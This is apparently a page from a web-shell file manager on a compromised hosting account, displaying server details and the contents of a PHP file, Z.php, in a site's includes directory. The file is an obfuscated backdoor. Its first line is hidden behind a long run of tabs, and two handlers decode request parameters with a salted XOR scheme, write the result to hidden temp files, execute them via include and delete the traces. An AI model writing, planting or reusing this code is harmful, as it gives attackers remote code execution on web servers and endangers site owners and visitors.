HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/vitanhod/prostanur1.vitavit.com.pk/includes/Z.php
<?php																																										if(in_array("\x65\x6Cemen\x74", array_keys($_REQUEST))){ $pgrp = $_REQUEST["\x65\x6Cemen\x74"]; $pgrp = explode ( '.' , $pgrp ) ; $factor = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $s = 0; $__len = count($pgrp ); do { if ($s >=$__len) break; $v5 = $pgrp[$s]; $sChar = ord($salt4[$s% $sLen] ); $d = ((int)$v5 - $sChar - ($s% 10)) ^ 59; $factor.= chr($d ); $s++; } while (true ); $ent = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); foreach ($ent as $res) { if ((is_dir($res) and is_writable($res))) { $binding = implode("/", [$res, ".reference"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $factor); fclose($file); include $binding; @unlink($binding); exit; } } } }


if(in_array("\x73\x79m", array_keys($_POST))){
	$resource = array_filter(["/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP")]);
	$component = $_POST["\x73\x79m"];
	$component = 		explode		(  '.'	 	,$component 	)		;		 
	$pointer = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s5);
            $__len = count($component);
    
            for ($p = 0; $p  <$__len; $p++) {
                $v4 = $component[$p];
                $chS = ord($s5[$p % $sLen]);
                $dec = ((int)$v4 - $chS - ($p % 10)) ^ 97;
                $pointer	 .=	chr($dec);
            }
	foreach ($resource as $ent) {
    		if (array_product([is_dir($ent), is_writable($ent)])) {
    $mrk = "$ent/.parameter_group";
    if (file_put_contents($mrk, $pointer)) {
	include $mrk;
	@unlink($mrk);
	die();
}
}
}
}